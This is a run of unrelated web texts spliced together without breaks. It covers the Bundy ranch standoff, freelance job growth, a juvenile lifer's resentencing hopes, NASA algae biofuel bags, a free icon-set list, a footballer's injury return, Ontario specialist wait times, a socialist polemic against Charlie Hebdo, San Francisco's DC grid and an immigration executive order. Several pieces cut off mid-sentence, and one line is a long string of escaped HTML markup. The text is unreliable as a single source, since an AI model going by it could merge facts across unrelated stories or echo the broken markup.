He admits that Metro is keeping an eye on the Bundy ranch, largely via his officers who live around Bunkerville and still interact with the Bundy family. The last time Gillespie was out there, it was to help defuse a highly volatile situation. He had worked out a deal to get the BLM to back off its seizure of Bundy's cattle, but Bundy insisted that they meet atop the makeshift stage.
"His boys told me, 'he won't talk to you.' They called me up on stage, and as we walked up to the stage, I stuck my hand out to shake his hand. He didn't want to shake my hand. I left it out there long enough and he felt, okay, I'd better shake your hand," Gillespie said.
After the sheriff calmed the crowd with the news that the BLM was backing off, Bundy fired them back up again by admonishing Metro to go out and disarm all federal employees.
"I just looked at him and I knew, he has, in my opinion, lost perspective. He was a different man. When I walked off the stage, I said to one of his boys, your dad is going down the wrong path on this."
The sheriff has publicly chastised the Department of Interior for how it handled the Bundy situation. First, for coming in way too strong with sniper teams, firepower and a confrontational stance that backfired. And then, for underestimating the level of support Bundy would have from highly armed militia members and people who simply don't like the government.
"It's not going away. It's not a surprise to us in law enforcement, from the Sovereign Citizens movement out there, the anti-government movements, as well as militia, some of them are definitely on the fringe and we saw that at Bunkerville."
"Whether they want to incarcerate me or whether they want to shoot me in the back, they are after me," Cliven Bundy said in his initial television interview from the ranch.
He hasn't backed down since that interview, but a reckoning is still on the horizon. Gillespie says the FBI investigation is ongoing and that conversations are underway with the Department of Justice about how to proceed against protesters who pointed guns at police and federal agents and against Bundy who still owes $1 million in grazing fees and fines and is still grazing his cattle on public land.
As before, the sheriff is urging a cautious approach to whatever action is taken.
"People say, 'why did you do this? He's breaking the law.' I say, this isn't a guy who just robbed a bank. Really, it's over cattle. let's not lose sight of that. No drop of human blood is worth a cow. It just isn't. I think egos need to be put aside," Gillespie said.
The sheriff spent two years developing a dialogue with Cliven Bundy but says he has not spoken to the rancher since the flare up in April. He added that he'd be open to speaking with Bundy any time.
As the I-Team first reported, the FBI has interviewed the sheriff, assistant sheriff Joe Lombardo, and the officers who were on the scene when things came to a head. Some of them have told us they thought they were going to die that day, and that any spark could have ignited a violent explosion. For many in Metro, the Bundy showdown, followed by the murders of two officers, has led to serious soul searching about how police work has changed and whether the risk is worth it.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Dec. 8, 2016, 7:16 PM GMT / Updated Dec. 8, 2016, 7:16 PM GMT By Ben Popken
If you're wondering why it's so hard to find a steady 9-5 job, here's a really good reason.
The answer could be a dark lining to last week's silvery jobs report. Unemployment fell to 4.6 percent for November, the lowest since the financial crash of 2008. It's also within the range of what Fed policy makers call "full employment."
But a recently updated study by Harvard and Princeton economists shows that 94 percent of "net job growth" -- the number of jobs created minus the number of jobs lost -- from 2005-2015 was in "alternative work."
It's a big bucket that includes independent contractors, freelancers, temp agencies, on-call employees, and people who work for contract companies, like janitors.
Yes, the Uber-driving, on-demand cupcake delivery economy is part of it — but a small one, just 0.5 percent of 2015 employment.
"The bottom line is that the nature of work is changing," study co-author Alan B. Krueger, a Princeton professor of economics told NBC News. "The traditional 9-5 steady job still exists, but it's less common than it used to be."
94 percent of the jobs created since |
" class="redactor-selection-marker"&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/span&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;
Lawyers who handle the most serious criminal cases in the United States tend to be familiar with the saying "death is different." It emanates from a concurring opinion in the 1972 Furman v. Georgia case that temporarily put a stop to capital punishment, and has appeared in hundreds of subsequent cases as a rationale for applying a different set of rules in death penalty cases from all others.
There is no similar distinction between life without parole and a sentence of 40 years or even a life sentence with parole. Or at least there wasn't until the Supreme Court's next opinion on juvenile sentencing, the 2010 case of Graham v. Florida, which noted that "life in prison without the possibility of parole gives no chance for fulfillment outside prison walls, no chance for reconciliation with society, no hope."
The Graham opinion declared that the state had to provide a juvenile with "some meaningful opportunity for release based on demonstrated maturity and rehabilitation." But there was one caveat: The decision specifically applied only to juveniles who had not committed homicide.
Nonetheless, Ricky Olds sought an appeal based on Graham—after all, he hadn't actually killed anyone, and the ruling applied to all non-homicides. But the Pennsylvania Superior Court, pointing out that Olds had in fact been convicted of second-degree murder, made short shrift of that argument. In a coldly ironic turn, the judge who authored the opinion, Robert Colville, was the same Robert Colville who, as district attorney, had so glibly told the press three decades earlier that Olds could be out in 17 years "and maybe far less."
But at the time there were only about 120 children in the entire country serving a life sentence without parole for a non-homicide, with 2,300 serving the same sentence for murder. The Supreme Court changed the status of the larger group in 2012 with Miller v. Alabama, which introduced a new phrase into the lexicon that paralleled the mantra about capital punishment: "Children are different."
The Court, synthesizing themes from Roper and Graham, drew the conclusion that since children were less culpable than adults, a judge had to consider a juvenile's age before imposing a sentence, especially if it was the harshest sentence a child could receive.
This did not mean that a sentence of life without parole was off the table—rather, that such a sentence would "be uncommon."
For Ricky Olds, the Miller opinion was literally the chance of a lifetime. Indeed, the language of the ruling seemed to have been written with his own case in mind, echoing Judge Strauss's concerns in his original ruling. "Such mandatory penalties [as life without parole], by their nature, preclude a sentencer from taking account of an offender's age and the wealth of characteristics and circumstances attendant to it," the Court ruled. "Under these schemes, every juvenile will receive the same sentence as every other—the 17-year-old and the 14-year-old, the shooter and the accomplice."
There was one other aspect of the Miller opinion that had particular significance for Olds: the Court's decision to reiterate language from the previous Roper and Graham decisions about the "great difficulty... distinguishing at this early age between 'the juvenile offender whose crime reflects unfortunate yet transient immaturity, and the rare juvenile offender whose crime reflects irreparable corruption.'" In other words, it was pretty much impossible to determine with any accuracy what sort of man a 14-year-old boy might become. Was it any easier to evaluate the nature of a 51-year-old man after three and a half decades in prison?
"Like, who could be in jail that long? It's just hard for people to see that."
–Ricky Olds
In 1989, Camp Hill, the aging and overcrowded Pennsylvania prison where Olds had been housed for eight years, essentially burned to the ground during three days of inmate riots. "In the Camp Hill fire, everything I owned burned up: my high school diploma, all my photographs," Olds says. "My grandmother had just visited me and we took pictures, they all burned up."
Olds had not been involved in the riots, but all of the inmates had to be relocated, and he found himself at the legendary federal prison Leavenworth, in Kansas, for the next 18 months. By then he was in his mid 20s, and the world started to open up a bit. "I feel like I grew up when I got to Leavenworth—there were people there who read books and could talk about things beyond the prison," he recalls.
When he returned to Pennsylvania from Leavenworth, he was a grown man, and felt as if he had turned a corner. "On the one hand, there's maturity," Olds says now. "On the other hand... certain things that would have frustrated me then, you know, you expect it." He began taking courses from the University of Pittsburgh in elementary German, Spanish, Italian, biology, and math, even studying literature in a program called the Dramatic Imagination. More recently, he has learned Powerpoint and Word and Excel. One of his many certificates indicates a perfect attendance record for eight years in Navy Seals Aerobics class. He is as busy as life in prison allows him to be.
The disciplinary write-ups have stopped. Olds's last was in 2009, for talking too loud after his team had won a softball championship. Eight years before that, he had been in a dispute with a guard about what he should have done after his belt set off a metal detector. "It was a misunderstanding followed by some poor judgment on my part," he wrote to the prison officials in explanation. In both incidents, he pleaded guilty.
Olds is now closing in on his fourth decade behind bars.
"To these people [other inmates], I'm an old man," he says. "I don't feel that way, but to these people I'm like ancient. And I probably would have felt the same way, like, who could be in jail that long? It's just hard for people to see that."
"I didn't realize how much I'd been holding in. Now there's hope that I can get out—this is the hardest time, just dealing with that hope."
–Ricky Olds
Even after the Miller ruling, courts across the country struggled to decide whether inmates already sentenced to life as juveniles should be given an opportunity to be paroled. Finally, this January, in Montgomery v. Louisiana, Justice Kennedy settled the question once and for all, ruling that all former juvenile offenders must be given the opportunity to show their crime did not reflect "irreparable corruption." If it did not, he wrote, "their hope for some years of life outside prison walls must be restored." Marsha Levick, the co-founder of the Juvenile Law Center and one of the lawyers in the Montgomery case, summed up the evolution of juvenile justice by noting simply that the courts had "recognized the inhumanity of condemning children to die in prison."
Miller and Montgomery make it clear that sentencing children to life without parole should, at the very least, be extremely rare. But determining who falls into that tiny dark category of irreparably corrupted children is no easy trick, and a number of states—including conservative ones like Texas, Wyoming, and Nevada—have abolished the sentence of life without parole for juveniles for all future crimes. Others, while not doing away with the punishment entirely, have taken steps to limit it to only the worst crimes; Pennsylvania has eliminated it for all but intentional, premeditated murders.
But hundreds of children, now grown, still await their fate as states prepare to re-sentence them.
"In some ways, it was easier before Miller came along," Olds says now. "You had a certain bit in the jail, and you just went about your day-to-day. You didn't think about the future. You couldn't. Then Miller happens, and your patience goes out the window. Now everyone is thinking they're getting out. You're thinking about the streets. We never thought it was going to drag out like this. Everything gets on my nerves these days—I didn't realize how much I'd been holding in. Now there's hope that I can get out—this is the hardest time, just dealing with that hope."
His mother, Daisy, can't help thinking about his possible release. The Montgomery ruling has triggered new sentencing hearings for 500 inmates in Pennsylvania, and Olds may find himself in front of a judge before the year is out—a judge with the power to free him.
"I've been praying for that, I've been praying for that all these years," his mother says. "For everything, there is a season. I think it's Ricky's season right now."
Marc Bookman is director of the Atlantic Center for Capital Representation in Philadelphia.
Illustration by Antonio ZeoliNext week, NASA will show off some of its latest technology: a system for growing algae in floating plastic bags. The system is the result of a $10 million, two-year project that investigated whether the algae could be used to make biofuels, including jet fuel.
The system is designed to reduce the cost of making fuel from algae by making it possible to put algae farms near wastewater facilities, which offer a large source of nutrients.
But it may prove difficult to implement. For one thing, it will require a lot of plastic. In one possible setup, five square kilometers of plastic bags would be used to produce 2.4 million gallons of algae oil per year—a drop in the bucket compared to the 800 million gallons of oil the U.S. consumes every day. And the bags will likely need to be replaced every year.
The setup has been tested in four nine-meter-long plastic bags at a wastewater plant near San Francisco. The researchers demonstrated that they can grow enough algae to produce nearly 2,000 gallons of fuel per acre per year—if the weather cooperates. So if a commercial system gets built, it may need to be in someplace warmer and sunnier.
The lead researcher, Jonathan Trent, normally works on life-support systems for space travel. Those systems involve recycling human waste, and so does the algae fuel technology.
Trent plans to pump wastewater left over from treating sewage into bags made from common polyethylene. The wastewater is a good fertilizer, providing nutrients such as ammonia and phosphates. He also plans to pump carbon dioxide from power plants into the system to help algae grow. San Francisco produces enough wastewater to feed a floating algae farm that covers 1,200 acres, he says.
The setup is meant to solve some of the difficulties with making inexpensive fuels from algae. Algae need fertilizer to grow quickly, and wastewater is an excellent source of that. But large sources of wastewater—big cities—don’t have the space needed for the artificial ponds that algae are typically grown in. Pumping the water to areas where land is cheap and plentiful is expensive and energy-intensive. Clear containers called photobioreactors might take up less space, but those, too, are expensive.
A few years ago, Trent wondered if floating plastic bags could serve as relatively cheap bioreactors. They don’t need as much support as land-based ones—at least if they’re floating on protected bays. And they solve another major problem with conventional bioreactors, which get too hot from sitting in the sun, and require expensive cooling systems as a result. In Trent’s plastic bag system, the surrounding water helps keep the bags cool.
But while it may solve some problems—and it’s far from clear that the bags will prove superior to ponds or other photobioreactors—the system creates others. Trent acknowledges, for example, that there will be an “enormous amount of plastic” to dispose of. The plastic could be recycled, although cleaning out the algae may be difficult. A better option may be reusing it, he suggests. For example, it could be used to replace the black plastic that many farmers in California cover their fields with to reduce weeds and evaporation.
The approach will face several other challenges. Working in corrosive saltwater environments is very difficult. And it’s not clear how well the bags would survive storms.
If the bags break, the wastewater—which is normally released directly into the bay from treatment plants—wouldn’t present a problem. And the algae they would use would die in the saltwater, so there’s little threat to the bay ecosystem, Trent says. But it’s hard to predict how expensive it would be to replace bags damaged by storms or infected with competing microbes.
The researchers also don’t know how much the system will cost at a large scale. This month, they started a detailed economic analysis based on their results so far. The project also received $800,000 from the California Energy Commission.44 Excellent Free Icon Sets Everyone Must Have
You can find lots of free beautiful icons set on the web. We are lucky that some talented designers/artist are sharing their works by providing us some useful stuffs for free. Here is a 40+ Excellent Free Icon Sets Everyone Must Have. These Icons can be use on customizing your desktop icons or for your website.
A set of 13 painfully cute critters icon pack. This Free Icon Pack is for use in your personal and commercial projects, and can be used without attribution.
A set contains of 15 Porcelain Dock Icons created for free use.
Can be use in MacOs X, Windows XP and Windows Vista.PNG files included.
Function Icon Set, 128 Completely Free Icons
A set contains 128 free good looking Icons available in 48×48px size. This included some of the main Social Media Icons such as: Design Float, Digg, Delicious, Furl, Technorati, Flickr, Stumble Upon, Twitter & Many more… (by wefunction.com)
Here is a set of free flat browser icons that you can use for personal and commercial projects.
A set of wooden texture icons.
Inspired by Transformers.This set contains 65 icons and size is 256×256 pixel.
A set contains 210 icons for pc and mac.PNG files.
A set contains 8 icons to download.
Includes icons for most Adobe applications, Microsoft Office 2008 as well as a few extras in 16, 32, 48, 128, 256 and 512 pixel sizes.
I-KID ICONS FOR IPHONE
A set contains 20 beautiful iphone icons. (by kidcomic.net)
A free icon set contains curvy and colorful free icons made with one goal, to get all the affection to your projects. These free icons flirt with style! “Coquette” free icon set contains 50 high quality, free icons in these sizes: 16x16px, 32x32px, 48x48px, 64x64px and 128x128px and 32-bit transparency PNG file format.
Free Vector Icon Set 1
A set contains 25 scalable Illustrator format icons. You can open the.ai file with any version of Illustrator above 8.0. With earlier versions.
A set contains 15 origami icons. These includes the origami icons in a variety of sizes in transparent pngs, and the PSD and EPS files.
Web 2 Icons
23 freeware “iPhone-like” icons of Web 2 Social Bookmarks and Networks for use in blogs, websites, desktops, softwares. The Linux version includes.PNG files sized from 512X512 to 16X16 pixels. Great for Bloggers. (by fasticon.com)
A set of glossy good looking icons. free to download
This pack only includes the.PNG files.Every single icon is free to use commercially or not.
This set contains 5 original RSS-feed icons. The icons are available in in.png,.jpg,.eps and.psd.
There are 20 icons designed specially for web applications (e.g. Charts, Profile, Search, Add, Delete, Email, Print, Warning and etc…). Icons come in 3 sizes; 48×48 px, 32×32 px, and 24×24 px. All of them are in PNG format with transparent background. Web Application Icons Set is completely Free for both personal and commercial
A total of 39 icons PNG files in the compressed folder.
Free web development icons
A set contains 60 icons in web 2.0 style. File types are.png,.ico,.tif,.gif, and.bmp. Colored with and without shadows, with a subtle gray shade and transparent. (by icojoy.com)
Free eCommerce icons
A set contains 32 free icons to use or remix in your eCommerce projects complete with master SVG file.
A set contains 20 cute (128×128 png) icons
A set contains 111 icons. These are software and application icons for your dock or desktop
A set containing 6 icons. The set includes iChat, iCal, iTunes, Text Edit, iPhoto, Address Book Icons
Glossy Member Icons
A set contains 4 Glossy Member Icons. You can use this icons for PERSONAL websites, blogs etc. (by sniffels.deviantart.com)
A set contains 6 Mac OS X application icons such as Chess, GarageBand, Quick Time Player, Mail, Pages and Preview in black and blue colors.
RSS icons
A set contains 4 Glossy RSS Icons. You can use this icons for PERSONAL websites, blogs etc. (by sniffels.deviantart.com)
A set contains an oldschool icons.
Weby Icon Set brings to you 100 icons at 64×64 pixels ready to be used in your application or website.The icons are available in PNG, ICO and ICNS format.
A set contains 17 glossy web icons
A set of 22 social icons in.png and in resolutions 16×16, 32×32, 64×64.
Icon Set contains 27.png dock icons and 25.ico files.
A set contains 68 dock and desktop replacement icons
A set of 205 icons
A set contains 9 beautiful icons
V!VA Icons
A set contains 9 icons. (by jjying.cn)
A set of “delicious icons” contains 15 icons: a build icon, a home icon, an interact icon, a monitor icon, a pen icon, a phonebook icon and other icons which can be useful for both corporate and personal projects.
ALL ICONS pack “limewire…”
A set of icons includes limewire, folders, image folder icons and many more. (by bodysoulspirit.deviantart.com)
A set of 5 icons
A set of custom Windows XP / Vista Icon pack.
A set contains 6 icons. Icon formats are Png’s,Ico’s and Icns’s
3 Icons in PNG + ICO format. 256px, 128px, 64px + ICO. format.\
Is this Icons useful? What set of icons do you like the most? Let others know what you like by commenting below.
Disk Jockey Sigma Style
A set of 10 icons. sizes are 256×256, 128×128, 48×48, 32×32, 24×24, 16×16 png,ico and icns file.
For more icon collections, CLICK HERE.Stuart Holden has begun his return from two knee operations by playing 65 minutes for Bolton Wanderers reserves.
The 27-year-old sustained the knee injury in March 2011 after a tackle by Manchester United defender Jonny Evans for which he was red carded.
Stuart Holden Career Stats 2005: Sunderland - No appearances
No appearances 2006 - 09: Houston Dynamo - 88 appearances, 15 goals
- 88 appearances, 15 goals 2010 - present: Bolton - 34 appearances, two goals
The United States international made his comeback in September 2011 but cartilage damage was found soon after meaning another six months out.
Midfielder Josh Vela also made his comeback in the match for Bolton.
Holden did not feature once in the league last season as Wanderers suffered relegation from the Premier League in what has been an injury blighted few years.
Before his two knee problems, he broke his leg playing for the USA in a friendly against Holland in a tackle with the former Manchester City midfielder Nigel de Jong.An Ontario doctor says health-care wait times have reached “insane” lengths in the province, as one of her patients faces a 4.5-year wait to see a neurologist.
When Dr. Joy Hataley, a family practice anesthetist in Kingston, Ont., recently tried to send a patient to a neurologist at the Kingston General Hospital, she received a letter from the specialist’s office telling her that the current wait time for new patient referrals is 4.5 years.
The letter said that, if the delay is “unacceptable” to Dr. Hataley, she should instead refer the patient to a neurologist in Ottawa or Toronto.
Dr. Hataley, who has been outspoken about wait times and other issues plaguing Ontario’s health care system, said the wait time “shocked” her.
She wanted to shock others as well, so she tweeted a photo of the letter and tagged Ontario Health Minister Eric Hoskins and Kingston-area MPP Sophie Kiwala.
Dr. Hataley said she’s used to hearing back from specialists who are unable to see her patients for months, and even up to 2.5 years. But a 4.5-year wait is “insane,” she told CTVNews.ca in a telephone interview.
“This is an alarm bell,” she said. “What it is to me is a red flag to the system.”
Dr. Hataley’s patient, Suzan Wooldridge, said that although her case is not urgent, having to wait 4.5 years to see a neurologist is “just wrong.”
“When Dr. Hataley first pulled up the response from the referral, both of us were just seeing the wait time first hand, I was just in disbelief and shocked,” Wooldridge, a 40-year-old developmental service worker, told CTVNews.ca in an email. “The more I thought about it after leaving her office I was just annoyed and felt that this is ridiculous and not in any way okay.”
Wooldridge said she will continue to live with chronic pain and be cared for by Dr. Hataley until she can see a neurologist. She said she shouldn't have to travel outside of Kingston to see a specialist.
“I don’t honestly feel that I should have to go to another city when we have a neurologist 4.5 minutes up the road and I’m a resident of the city in which my taxes help go towards,” she wrote. “I don’t think it’s right or fair to drive to another city…it’s financially not easy for me to just pick up and go, as much as I would like to.”
Dr. Hataley said travelling for health care can come at a considerable cost to a patient, and many people are unable to make such trips.
Dr. Hataley said wait times to see neurologists in Kingston are notoriously bad. But she said the problem is not confined to a particular neurologist or even that field of medicine.
In her nearly 20 years of experience working in family practice, operating rooms and emergency rooms, she has had countless discussions and meetings with government officials and other health care providers about wait times. And they all seem to be going nowhere, she said.
“We’ve hit the wall,” Dr. Hataley said. “My main message is: we need timely, consistent and reliable health care in our province and we do not have it.”
Dr. Michael Fitzpatrick, chief of staff and vice-president of medical affairs at the Kingston Health Sciences Centre, said lengthy wait times are “a challenge that is well known at all levels of our system.”
In a statement to CTVNews.ca, Dr. Fitzpatrick said hospital officials are working to address the problem, and noted that urgent cases are always prioritized.
He said wait times vary across medical specialties and even within specific fields, such the neurology sub-speciality of movement disorders, where Dr. Hataley’s patient was referred.
Dr. Fitzpatrick said that only a small number of specialists in Ontario treat patients with movement disorders.
“We are the only clinic of our kind located between Toronto and Ottawa, and often receive referrals from a very large catchment area,” he said. “We have just recently recruited a new physician, which we believe will improve wait-times and we hope to do more recruitment soon.”
‘Deeply concerning’
Ontario Medical Association President Dr. Shawn Whatley said it’s “deeply concerning” to see wait times like the one Dr. Hataley highlighted.
He said the OMA has been raising the alarm about long wait times for all kinds of health care services for years. In his own small-town practice, Dr. Whatley said it’s usually a two-year wait for patients who need joint replacements, for example.
“This is unacceptable,” he told CTVNews.ca. “I think we need to take this seriously, and we need to start fixing it.”
When patients have to travel outside of their towns and cities for medical procedures, “it’s a huge burden on the patient, huge burden on the family,” Dr. Whatley said.
And medical literature shows that, despite Canada’s universal health care system, long wait times disproportionately affect low-income Canadians because they don’t have the financial means to travel, he added.
“We have lost the moral high ground in saying that all of our patients have access (to care) regardless of need,” Dr. Whatley said. “It’s just not true.”
Dr. Hataley said the health care system is still “really good” at emergency care. But, while an “overwhelming” amount of health-care dollars goes to front-line care, there aren’t enough resources devoted to ensure patients who develop new or chronic illnesses are seen by specialists in a timely manner.
“We talk about (wait times) ad nauseam. We’re in trouble, we all know it. Now let’s get to work,” she said.
Dr. Hataley said improving the relationship between the provincial government and health care providers should be one of the first steps in addressing the wait-time crisis.
The Ontario Ministry of Health did not respond to CTVNews.ca’s questions about wait times by publication time, but the provincial government tracks and publicly displays wait times for certain types of surgeries and medical procedures, including hip and knee replacements and cancer surgeries.
According to a 2016 Commonwealth Fund survey of people in 11 developed countries, Canadians reported the longest wait times to see specialists. Fifty-six per cent of Canadians surveyed said they waited longer than four weeks to see a specialist, compared with the international average of 36 per cent.
The same report found that less than half of Canadians could get a same or next-day appointment with their family doctor, and only one in three had access to after-hours medical care.
Earlier this year, the Healthcare Access and Quality Index published in The Lancet medical journal placed Canada 17th when it comes to death rates from diseases that are normally considered treatable.Charlie Hebdo joins racist campaign against refugees in Europe
By Alex Lantier
16 January 2016
With a foul attack on Aylan Kurdi, the three-year-old boy whose drowning last year off the coast of Turkey became a symbol of the terrible human costs of the war in Syria, France’s satirical weekly Charlie Hebdo joined the growing racist campaign against Middle East refugees in Europe.
The cartoon, which has shocked readers around the world, was drawn by Riss, a cartoonist who survived last January’s terror attack on the magazine’s editorial board. It exploited the hysterical campaign now being whipped up in the international media around claims that refugees joined in a wave of alleged sexual assaults in the German city of Cologne, on New Year’s Eve.
Under a caption asking, “What would little Aylan have become had he grown up?” Riss drew a series of caricatures of a drowned boy getting up, getting larger as he grows up, acquiring a pig-like snout, and running after a frightened blonde woman, and answered: “A groper in Germany.”
The blatant appeal to racism and anti-Muslim prejudices, which would not have been out of place in the pages of the Nazi propaganda sheet Der Stürmer, drew international condemnation.
Aylan’s aunt Tima Kurdi, who is now living as a refugee in Canada, told CBC News that the cartoon was “disgusting,” adding: “I hope people respect our family’s pain. It’s a big loss to us. We’re not the same anymore after this tragedy. We’re trying to forget a little bit and move on with our life. But to hurt us again, it’s not fair.”
Even in France, where the Socialist Party (PS) exploited last year’s attack to launch a reactionary campaign for national unity around a “war on terror” on the theme of “I am Charlie,” ostensibly to defend press freedom, many readers left comments condemning the cartoon.
The quadrupling of Charlie Hebdo ’s readership to 200,000 due to official promotion after the attacks has repeatedly involved the weekly in scandal as it shocked its new readers, the right-wing daily Le Figaro noted. It wrote: “ Charlie Hebdo ’s readership, previously limited to libertarians used to this type of corrosive and grating humour, has grown to include a broad audience, which is not necessarily used to cynicism.”
“I hope that I am not shocking anyone, but Charlie ’s front-page cartoon is ugly and encourages ugliness,” commented one reader on Le Figaro ’s web site.
Another commentator pointed to the Stalinist, social democratic and libertarian-anarchist sympathies of the weekly’s staff, writing, “With a reactionary newspaper run by bourgeois-bohemian communists who give the finger to everything and everyone, we get predictable results: morbid and tasteless cartoons that provoke scandal, sell copy, but also start wars.”
Charlie Hebdo ’s attack on an innocent child, as part of an international campaign to justify mass deportations of refugees by smearing them as rapists, exposes all the organizations that promoted or adapted to the “I am Charlie” campaign: the media in France and other NATO countries, France’s PS government, and its various political satellites.
It vindicates the column published shortly after the Charlie Hebdo attack by the World Socialist Web Site. While unequivocally condemning the terrorist attack on the journalists, by fighters who had trained in the Islamist camps that train foreign Islamist fighters for the imperialist-backed war for regime change in Syria, it warned of the utter political hypocrisy of Charlie Hebdo ’s promoters.
It opposed media claims that Charlie Hebdo represented the best traditions of caricature directed against European monarchs of the 16th to 19th centuries. These earlier caricaturists, the WSWS wrote, were “representatives of a democratic Enlightenment who directed their scorn against the powerful and corrupt defenders of aristocratic privilege. In its relentlessly degrading portrayals of Muslims, Charlie Hebdo has mocked the poor and the powerless.”
It warned of the reactionary character of the political campaign around the weekly: “It is absurd to claim, by way of defense of Charlie Hebdo, that its cartoons are all ‘in good fun’ and have no political consequences. Aside from the fact that the French government is desperate to rally support for its growing military agenda in Africa and the Middle East, France is a country where the influence of the neo-fascist National Front is growing rapidly. In this political context, Charlie Hebdo has facilitated the growth of a form of politicized anti-Muslim sentiment that bears a disturbing resemblance to the politicized anti-Semitism that emerged as a mass movement in France in the 1890s.
“In its use of crude and vulgar caricatures that purvey a sinister and stereotyped image of Muslims, Charlie Hebdo recalls the cheap racist publications that played a significant role in fostering the anti-Semitic agitation that swept France during the famous Dreyfus Affair, which erupted in 1894 after a Jewish officer was falsely convicted of espionage on behalf of Germany.”
Today, the contradictions between the hypocritical democratic pretensions the PS advanced after the Charlie Hebdo attacks and its outcome one year later are flagrant. The ensuing year has confirmed the WSWS’s initial warnings about the “I am Charlie” campaign. It saw the spread of the neo-fascist National Front (FN) across France in last year’s regional elections and, after the November 13 terror attacks in Paris, a drive by the PS to install a permanent state of emergency, abrogating fundamental democratic rights and further stoking anti-Muslim sentiment.
Within the PS, moves are afoot to deprive people convicted of terrorism-related offences of French nationality. Significantly, PS officials themselves denounced deprivation of nationality less than two years ago, when it was proposed only a few months before the Charlie Hebdo attacks. The policy is infamously associated with the French fascist authorities’ deprivation of the nationality of thousands of French Jews during World War II, before they were deported to Nazi death camps in Europe.
After a year of continuous escalation of the “war on terror” and French chauvinism, the “I am Charlie” campaign proved to be the mechanism for legitimizing policies that previously would have been unthinkable. The millions who marched a year ago wearing “I am Charlie” stickers were in the final analysis exploited as extras in a drive, now well advanced, to install a police state regime in France.
Charlie Hebdo ’s attack on Aylan Kurdi shows that the character of the weekly itself was not incidental in the PS’s ability to launch a savage attack on democratic rights under the cover of an “I am Charlie” campaign. The layer of libertarian, bourgeois-bohemian “communists” that dominate its staff, social entourage, and core readership—a privileged middle-class layer that the WSWS has come to call the pseudo-left—has over decades become totally dominated by callous, pro-war, and anti-Muslim sentiments.
The morphing of this layer into a social base for fascistic policies is reflected in the biographies of some of the more prominent surviving personalities associated to Charlie Hebdo.
Romain Goupil, a high school student union leader during the 1968 general strike and ex-member of the Pabloite Communist League, a precursor of today’s New Anti-capitalist Party, was a key advisor of comedian Coluche’s 1981 presidential campaign, which Charlie Hebdo officially backed. He went on to back NATO wars in Yugoslavia during the 1990, the illegal US invasion of Iraq in 2003—which was opposed even by the French government—and the 2011 NATO war in Libya.
Caroline Fourest, a journalist and “pro-secularism” activist who worked at Charlie Hebdo and now supports the PS’s deprivation-of-nationality policy, publicly backed the 2010 “Sausage-and-Wine Appetizer at the Goutte d’Or” provocation. This was an operation launched by far-right groups, including the Identity Block and Secular Counterattack, aiming to disturb Muslims at prayer in the working class Goutte d’Or area by drinking wine and eating pork in their vicinity.
Charlie Hebdo ’s latest libellous attack on a dead and defenceless boy exemplifies the imperviousness of these forces to democratic sentiments and their hostility to democratic rights.
Please enable JavaScript to view the comments powered by Disqus.Photo: Peter Fairley DC in SF: A feeder head, rectifier, and output smoother atop a pole in San Francisco's South of Market neighborhood is visible evidence of the city's DC grid.
Nikola Tesla’s alternating current may have “won” the War of Currents at the end of the 19th Century, but the defeated incumbent—direct-current distribution, aggressively championed by Thomas Edison—endured. As historian of technology Thomas P. Hughes observed in his influential essay on the evolution of large technological systems, the War of Currents ended “not with victor and vanquished, but with the invention of devices making possible the interconnection of the two systems.” Remnants of DC power distribution kept performing their assigned tasks for decades as the AC grid thickened around them.
In fact, a few live on to this day. One of the best examples is in San Francisco, where 250-volt DC power still flows through underground and overhead cables across the city. These DC lines peacefully coexist with their AC counterparts; you can see this mix of currents straddling utility poles in the city’s South of Market district. DC’s perseverance in that neighborhood seems fitting, for it was just a few blocks away that the tiny California Electric Light Co.—a forebear to California’s dominant Pacific Gas and Electric (PG&E)—became the first power company in the United States, and possibly the world, to supply electricity to multiple customers from a central generating station. It was in September 1879—a full three years before Edison turned on his famous Pearl Street generating station in New York City—that California Electric began burning coal, raising steam, and driving dynamos in a wooden shack at the corner of Fourth and Market streets to feed current to its customers’ electric lights.
While DC continues to race through San Francisco power lines at nearly the speed of light, it does so anonymously. You’ll find no reference to DC power distribution in PG&E’s annual reports or on its websites. Even some utility engineers are unaware of its existence, which raises a curious question: Why is the inheritor of this legacy, the mighty and sophisticated PG&E, still bothering with DC distribution 133 years later?
Photo: Richard Blaska Old Elevator: Decades old winding drum elevators need DC, so the city maintains a DC grid.
DC endures in San Francisco because more than 900 of PG&E’s customers still need it. Most of the utility’s customers transitioned to AC lightbulbs and appliances easily enough as competing power distributors coalesced within PG&E and harmonized their equipment around AC. But for some of these building owners, however, elevators were a problem.
DC-driven winding-drum elevators—the leading design until the 1930s—use a DC motor in the basement that winds and unwinds the elevator’s steel cable on a steel drum, thus lifting and lowering the car from pulleys atop the elevator shaft. DC drive was the only way to go at the time for a speedy elevator, because only DC could deliver variable-speed operation for smooth starts and stops. The DC motors were also energy efficient, capable of something that has only recently become possible with modern elevator designs: regenerating power when the elevator descends.
However, safety was a weak point. If a winding drum’s control system fails, its motor can drive the elevator through the roof, according to San Francisco–based elevator consultant Richard Blaska. As a result, says |
In implementing this order, the Secretary of State and the Secretary of Homeland Security shall comply with all applicable laws and regulations, including, as appropriate, those providing an opportunity for individuals to claim a fear of persecution or torture, such as the credible fear determination for aliens covered by section 235(b)(1)(A) of the INA, 8 U.S.C. 1225(b)(1)(A).
(c) No immigrant or nonimmigrant visa issued before the effective date of this order shall be revoked pursuant to this order.
(d) Any individual whose visa was marked revoked or marked canceled as a result of Executive Order 13769 shall be entitled to a travel document confirming that the individual is permitted to travel to the United States and seek entry. Any prior cancellation or revocation of a visa that was solely pursuant to Executive Order 13769 shall not be the basis of inadmissibility for any future determination about entry or admissibility.
